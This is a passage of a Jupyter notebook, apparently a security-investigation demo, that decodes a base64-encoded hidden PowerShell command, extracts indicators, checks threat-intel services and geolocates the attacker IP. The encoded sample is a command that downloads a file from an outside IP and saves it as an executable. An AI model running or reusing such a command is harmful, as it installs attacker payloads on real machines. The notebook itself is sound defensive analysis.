       "      <td>&lt;Response [403]&gt;</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>XForce</th>\n",
       "      <td>http://38.75.137.9:9088/static/encrypt.min.js</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>0</td>\n",
       "      <td>&lt;Response [404]&gt;</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AzSTI</th>\n",
       "      <td>http://38.75.137.9:9088/static/encrypt.min.js</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>OPR</th>\n",
       "      <td>http://38.75.137.9:9088/static/encrypt.min.js</td>\n",
       "      <td>IoC type url not supported.</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Tor</th>\n",
       "      <td>http://38.75.137.9:9088/static/encrypt.min.js</td>\n",
       "      <td>IoC type url not supported.</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                      Ioc  \\\n",
       "OTX         http://38.75.137.9:9088/static/encrypt.min.js   \n",
       "VirusTotal  http://38.75.137.9:9088/static/encrypt.min.js   \n",
       "XForce      http://38.75.137.9:9088/static/encrypt.min.js   \n",
       "AzSTI       http://38.75.137.9:9088/static/encrypt.min.js   \n",
       "OPR         http://38.75.137.9:9088/static/encrypt.min.js   \n",
       "Tor         http://38.75.137.9:9088/static/encrypt.min.js   \n",
       "\n",
       "                                                                                                        Details  \\\n",
       "OTX         {'pulse_count': 3, 'names': ['Underminer EK', 'Exploit kits', 'Exploit kits: summer 2019 review'...   \n",
       "VirusTotal                                        Request forbidden. Allowed query rate may have been exceeded.   \n",
       "XForce                                                                                               Not found.   \n",
       "AzSTI                                                                                                Not found.   \n",
       "OPR                                                                                 IoC type url not supported.   \n",
       "Tor                                                                                 IoC type url not supported.   \n",
       "\n",
       "           Severity  \\\n",
       "OTX               2   \n",
       "VirusTotal        0   \n",
       "XForce            0   \n",
       "AzSTI             0   \n",
       "OPR               0   \n",
       "Tor               0   \n",
       "\n",
       "                                                                                                      RawResult  \n",
       "OTX         {'indicator': 'http://38.75.137.9:9088/static/encrypt.min.js', 'alexa': '', 'whois': '', 'sectio...  \n",
       "VirusTotal                                                                                     <Response [403]>  \n",
       "XForce                                                                                         <Response [404]>  \n",
       "AzSTI                                                                                                      None  \n",
       "OPR                                                                                                        None  \n",
       "Tor                                                                                                        None  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "separator = lambda: print(\"-\" * 80)\n",
    "\n",
    "encoded_cmd = '''powershell.exe  -nop -w hidden -encodedcommand SW52b2tlLVdlYlJlc\n",
    "XVlc3QgLVVyaSAiaHR0cDovLzM4Ljc1LjEzNy45OjkwODgvc3RhdGljL2VuY3J5cHQubWluLmpzIiAtT3V0RmlsZSAiYzpccHduZXIuZXhlIg=='''\n",
    "\n",
    "utils.md(\"Encoded command\", \"bold, large\")\n",
    "print(encoded_cmd)\n",
    "dec_string, dec_df = base64unpack.unpack_items(input_string=encoded_cmd)\n",
    "separator()\n",
    "utils.md(\"Decoded command\", \"bold, large\")\n",
    "print(dec_string)\n",
    "\n",
    "separator()\n",
    "iocs = IoCExtract().extract(dec_string)\n",
    "utils.md(\"IoCs Found\", \"bold, large\")\n",
    "for ioc in iocs:\n",
    "    print(ioc, iocs[ioc])\n",
    "\n",
    "separator()\n",
    "\n",
    "# ti_lookup = TILookup()  # Use this if not in demo mode\n",
    "ti_lookup = TILookup()\n",
    "utils.md(\"Threat Intel results\", \"bold, large\")\n",
    "for ioc_type, ioc_set in iocs.items():\n",
    "    if ioc_type not in [\"ipv4\",\"ipv6\", \"url\"]:\n",
    "        continue\n",
    "    print(f\"\\nLooking up {ioc_type}s...\", end=\"\")\n",
    "    for ioc in ioc_set:\n",
    "        print(ioc, end=\"\")\n",
    "        ti_results = ti_lookup.lookup_ioc(observable=ioc, ioc_type=ioc_type)\n",
    "        display(ti_lookup.result_to_df(ti_results)[[\"Ioc\", \"Details\", \"Severity\", \"RawResult\"]])\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Network Data"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-02-04T02:33:43.827986Z",
     "start_time": "2020-02-04T02:33:43.821988Z"
    }
   },
   "source": [
    "## IP Geolocation of an Attacker"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:15:17.341891Z",
     "start_time": "2020-08-25T19:15:17.295888Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-size: 130%;font-weight: bold'>Geolocations for IP addresses</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>Click on a marker for more information</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"width:100%;\"><div style=\"position:relative;width:100%;height:0;padding-bottom:60%;\"><span style=\"color:#565656\">Make this Notebook Trusted to load map: File -> Trust Notebook</span><iframe src=\"about:blank\" style=\"position:absolute;width:100%;height:100%;left:0;top:0;border:none !important;\" data-html=PCFET0NUWVBFIGh0bWw+CjxoZWFkPiAgICAKICAgIDxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiAvPgogICAgCiAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgTF9OT19UT1VDSCA9IGZhbHNlOwogICAgICAgICAgICBMX0RJU0FCTEVfM0QgPSBmYWxzZTsKICAgICAgICA8L3NjcmlwdD4KICAgIAogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vbGVhZmxldEAxLjYuMC9kaXN0L2xlYWZsZXQuanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0xLjEyLjQubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC8zLjIuMC9qcy9ib290c3RyYXAubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9MZWFmbGV0LmF3ZXNvbWUtbWFya2Vycy8yLjAuMi9sZWFmbGV0LmF3ZXNvbWUtbWFya2Vycy5qcyI+PC9zY3JpcHQ+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vbGVhZmxldEAxLjYuMC9kaXN0L2xlYWZsZXQuY3NzIi8+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzMuMi4wL2Nzcy9ib290c3RyYXAubWluLmNzcyIvPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC8zLjIuMC9jc3MvYm9vdHN0cmFwLXRoZW1lLm1pbi5jc3MiLz4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9mb250LWF3ZXNvbWUvNC42LjMvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIi8+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL0xlYWZsZXQuYXdlc29tZS1tYXJrZXJzLzIuMC4yL2xlYWZsZXQuYXdlc29tZS1tYXJrZXJzLmNzcyIvPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL3Jhd2Nkbi5naXRoYWNrLmNvbS9weXRob24tdmlzdWFsaXphdGlvbi9mb2xpdW0vbWFzdGVyL2ZvbGl1bS90ZW1wbGF0ZXMvbGVhZmxldC5hd2Vzb21lLnJvdGF0ZS5jc3MiLz4KICAgIDxzdHlsZT5odG1sLCBib2R5IHt3aWR0aDogMTAwJTtoZWlnaHQ6IDEwMCU7bWFyZ2luOiAwO3BhZGRpbmc6IDA7fTwvc3R5bGU+CiAgICA8c3R5bGU+I21hcCB7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7Ym90dG9tOjA7cmlnaHQ6MDtsZWZ0OjA7fTwvc3R5bGU+CiAgICAKICAgICAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwKICAgICAgICAgICAgICAgIGluaXRpYWwtc2NhbGU9MS4wLCBtYXhpbXVtLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT1ubyIgLz4KICAgICAgICAgICAgPHN0eWxlPgogICAgICAgICAgICAgICAgI21hcF9jYmViZmNjYTRlNjk0NzUzYjM3NTNlYmNlZjA2N2JhMyB7CiAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgICAgIHdpZHRoOiA3NS4wJTsKICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDc1LjAlOwogICAgICAgICAgICAgICAgICAgIGxlZnQ6IDAuMCU7CiAgICAgICAgICAgICAgICAgICAgdG9wOiAwLjAlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICA8L3N0eWxlPgogICAgICAgIAo8L2hlYWQ+Cjxib2R5PiAgICAKICAgIAogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb2xpdW0tbWFwIiBpZD0ibWFwX2NiZWJmY2NhNGU2OTQ3NTNiMzc1M2ViY2VmMDY3YmEzIiA+PC9kaXY+CiAgICAgICAgCjwvYm9keT4KPHNjcmlwdD4gICAgCiAgICAKICAgICAgICAgICAgdmFyIG1hcF9jYmViZmNjYTRlNjk0NzUzYjM3NTNlYmNlZjA2N2JhMyA9IEwubWFwKAogICAgICAgICAgICAgICAgIm1hcF9jYmViZmNjYTRlNjk0NzUzYjM3NTNlYmNlZjA2N2JhMyIsCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY2VudGVyOiBbMzQuMDU4NCwgLTExOC4yNzhdLAogICAgICAgICAgICAgICAgICAgIGNyczogTC5DUlMuRVBTRzM4NTcsCiAgICAgICAgICAgICAgICAgICAgem9vbTogNSwKICAgICAgICAgICAgICAgICAgICB6b29tQ29udHJvbDogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBwcmVmZXJDYW52YXM6IGZhbHNlLAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICApOwoKICAgICAgICAgICAgCgogICAgICAgIAogICAgCiAgICAgICAgICAgIHZhciB0aWxlX2xheWVyX2Y0MjllZmVmMzQzYzRiY2U4MDMwYmRlYTdhMzAyZjFlID0gTC50aWxlTGF5ZXIoCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly97c30udGlsZS5vcGVuc3RyZWV0bWFwLm9yZy97en0ve3h9L3t5fS5wbmciLAogICAgICAgICAgICAgICAgeyJhdHRyaWJ1dGlvbiI6ICJEYXRhIGJ5IFx1MDAyNmNvcHk7IFx1MDAzY2EgaHJlZj1cImh0dHA6Ly9vcGVuc3RyZWV0bWFwLm9yZ1wiXHUwMDNlT3BlblN0cmVldE1hcFx1MDAzYy9hXHUwMDNlLCB1bmRlciBcdTAwM2NhIGhyZWY9XCJodHRwOi8vd3d3Lm9wZW5zdHJlZXRtYXAub3JnL2NvcHlyaWdodFwiXHUwMDNlT0RiTFx1MDAzYy9hXHUwMDNlLiIsICJkZXRlY3RSZXRpbmEiOiBmYWxzZSwgIm1heE5hdGl2ZVpvb20iOiAxOCwgIm1heFpvb20iOiAxOCwgIm1pblpvb20iOiAwLCAibm9XcmFwIjogZmFsc2UsICJvcGFjaXR5IjogMSwgInN1YmRvbWFpbnMiOiAiYWJjIiwgInRtcyI6IGZhbHNlfQogICAgICAgICAgICApLmFkZFRvKG1hcF9jYmViZmNjYTRlNjk0NzUzYjM3NTNlYmNlZjA2N2JhMyk7CiAgICAgICAgCiAgICAKICAgICAgICAgICAgdmFyIG1hcmtlcl82YjAzNWI3NjZmNmM0OTkxOTI3Y2ExOWI3N2UyN2UxNSA9IEwubWFya2VyKAogICAgICAgICAgICAgICAgWzM0LjA1ODQsIC0xMTguMjc4XSwKICAgICAgICAgICAgICAgIHt9CiAgICAgICAgICAgICkuYWRkVG8obWFwX2NiZWJmY2NhNGU2OTQ3NTNiMzc1M2ViY2VmMDY3YmEzKTsKICAgICAgICAKICAgIAogICAgICAgICAgICB2YXIgaWNvbl9kMWFmY2ZkZGQ4NTI0YjI2OTYzZjM4ZjQwODYzN2MzZCA9IEwuQXdlc29tZU1hcmtlcnMuaWNvbigKICAgICAgICAgICAgICAgIHsiZXh0cmFDbGFzc2VzIjogImZhLXJvdGF0ZS0wIiwgImljb24iOiAiaW5mby1zaWduIiwgImljb25Db2xvciI6ICJ3aGl0ZSIsICJtYXJrZXJDb2xvciI6ICJyZWQiLCAicHJlZml4IjogImdseXBoaWNvbiJ9CiAgICAgICAgICAgICk7CiAgICAgICAgICAgIG1hcmtlcl82YjAzNWI3NjZmNmM0OTkxOTI3Y2ExOWI3N2UyN2UxNS5zZXRJY29uKGljb25fZDFhZmNmZGRkODUyNGIyNjk2M2YzOGY0MDg2MzdjM2QpOwogICAgICAgIAogICAgCiAgICAgICAgdmFyIHBvcHVwXzZkZjIwY2ExZDY3YjQ3ZTNiOTFkODUwNzA5NGExODY0ID0gTC5wb3B1cCh7Im1heFdpZHRoIjogIjEwMCUifSk7CgogICAgICAgIAogICAgICAgICAgICB2YXIgaHRtbF8xMTcxODIxNDk3MGM0MmY4OTAyODRkNWZjOGI3MDRjMSA9ICQoYDxkaXYgaWQ9Imh0bWxfMTE3MTgyMTQ5NzBjNDJmODkwMjg0ZDVmYzhiNzA0YzEiIHN0eWxlPSJ3aWR0aDogMTAwLjAlOyBoZWlnaHQ6IDEwMC4wJTsiPlR5cGU9Z2VvbG9jYXRpb24sIENvdW50cnlDb2RlPVVTLCBDb3VudHJ5TmFtZT1Vbml0ZWQgU3RhdGVzLCBTdGF0ZT1DYWxpZm9ybmlhLCBDaXR5PUxvcyBBbmdlbGVzLCBMb25naXR1ZGU9LTExOC4yNzgsIExhdGl0dWRlPTM0LjA1ODQ8YnI+SVA6IDM4Ljc1LjEzNy45PC9kaXY+YClbMF07CiAgICAgICAgICAgIHBvcHVwXzZkZjIwY2ExZDY3YjQ3ZTNiOTFkODUwNzA5NGExODY0LnNldENvbnRlbnQoaHRtbF8xMTcxODIxNDk3MGM0MmY4OTAyODRkNWZjOGI3MDRjMSk7CiAgICAgICAgCgogICAgICAgIG1hcmtlcl82YjAzNWI3NjZmNmM0OTkxOTI3Y2ExOWI3N2UyN2UxNS5iaW5kUG9wdXAocG9wdXBfNmRmMjBjYTFkNjdiNDdlM2I5MWQ4NTA3MDk0YTE4NjQpCiAgICAgICAgOwoKICAgICAgICAKICAgIAogICAgCiAgICAgICAgICAgIG1hcmtlcl82YjAzNWI3NjZmNmM0OTkxOTI3Y2ExOWI3N2UyN2UxNS5iaW5kVG9vbHRpcCgKICAgICAgICAgICAgICAgIGA8ZGl2PgogICAgICAgICAgICAgICAgICAgICBMb3MgQW5nZWxlcywgVW5pdGVkIFN0YXRlcwogICAgICAgICAgICAgICAgIDwvZGl2PmAsCiAgICAgICAgICAgICAgICB7InN0aWNreSI6IHRydWV9CiAgICAgICAgICAgICk7CiAgICAgICAgCjwvc2NyaXB0Pg== onload=\"this.contentDocument.open();this.contentDocument.write(atob(this.getAttribute('data-html')));this.contentDocument.close();\" allowfullscreen webkitallowfullscreen mozallowfullscreen></iframe></div></div>"
      ],
      "text/plain": [
       "<folium.folium.Map at 0x23f130bf2c8>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Look up the location\n",
    "geo = GeoLiteLookup()\n",
    "_, ip_locs = geo.lookup_ip(ip_addr_list=list(iocs[\"ipv4\"]))\n",
    "\n",
    "from msticpy.nbtools.foliummap import FoliumMap, get_map_center\n",
    "# calculate the map center (average of lats/longs)\n",
    "lat_longs = [(ip[\"Location\"][\"Latitude\"], ip[\"Location\"][\"Longitude\"]) for ip in ip_locs]\n",
    "map_center = sum([ll[0] for ll in lat_longs])/len(lat_longs), sum([ll[1] for ll in lat_longs])/len(lat_longs)\n",
    "\n",
    "# build the map and display\n",
    "geo_map = FoliumMap(location=map_center, zoom_start=5, height=\"75%\", width=\"75%\")\n",
    "geo_map.add_ip_cluster(ip_entities=ip_locs, color='red')\n",
    "\n",
    "utils.md(\"Geolocations for IP addresses\", \"large, bold\")\n",
    "utils.md(\"Click on a marker for more information\")\n",
    "display(geo_map.folium_map)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Query network data"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:15:17.373889Z",
     "start_time": "2020-08-25T19:15:17.344894Z"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "1360 records read\n"
     ]
    }
   ],
   "source": [
    "az_net_comms_df = qry_prov.Network.list_azure_network_flows_by_host(search_q_times, selected_alert)\n",
    "for field in [\"TimeGenerated\", \"FlowStartTime\", \"FlowEndTime\", \"FlowIntervalEndTime\"]:\n",
    "    az_net_comms_df[field] = az_net_comms_df[field] + pd.Timedelta(1, \"day\")\n",
    "\n",
    "# For demo purposes we're adding our suspect IP to the DataFrame\n",
    "t_index = az_net_comms_df[\n",
    "    (az_net_comms_df[\"L7Protocol\"] == \"http\")\n",
    "    & (az_net_comms_df[\"FlowStartTime\"] == pd.Timestamp(\"2019-02-13 13:46:48\"))\n",
    "].index[0]\n",
    "az_net_comms_df.loc[t_index, \"PublicIPs\"] = [[\"38.75.137.9\"]]\n",
    "az_net_comms_df.loc[t_index, \"AllExtIPs\"] = \"38.75.137.9\"\n",
    "print(len(az_net_comms_df), \"records read\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Analyze Network traffic flows on host\n",
    "#### Timelines of In/Out traffic and traffic by protocol shows anomlies on late 2/14/2019"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:15:17.990888Z",
     "start_time": "2020-08-25T19:15:17.377896Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2814\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  var JS_MIME_TYPE = 'application/javascript';\n  var HTML_MIME_TYPE = 'text/html';\n  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  var CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    var script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    var cell = handle.cell;\n\n    var id = cell.output_area._bokeh_element_id;\n    var server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd, {\n        iopub: {\n          output: function(msg) {\n            var id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    var output_area = handle.output_area;\n    var output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n      return\n    }\n\n    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      var bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      var script_attrs = bk_div.children[0].attributes;\n      for (var i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      var toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    var events = require('base/js/events');\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"2814\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error() {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (var i = 0; i < css_urls.length; i++) {\n      var url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.async = false;\n      element.src = url;\n      if (url in hashes) {\n        element.crossOrigin = \"anonymous\";\n        element.integrity = \"sha384-\" + hashes[url];\n      }\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n  var css_urls = [];\n  \n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (var i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"2814\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"1031a81c-d82f-4aec-a17e-534dd3a72e46\" data-root-id=\"2899\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
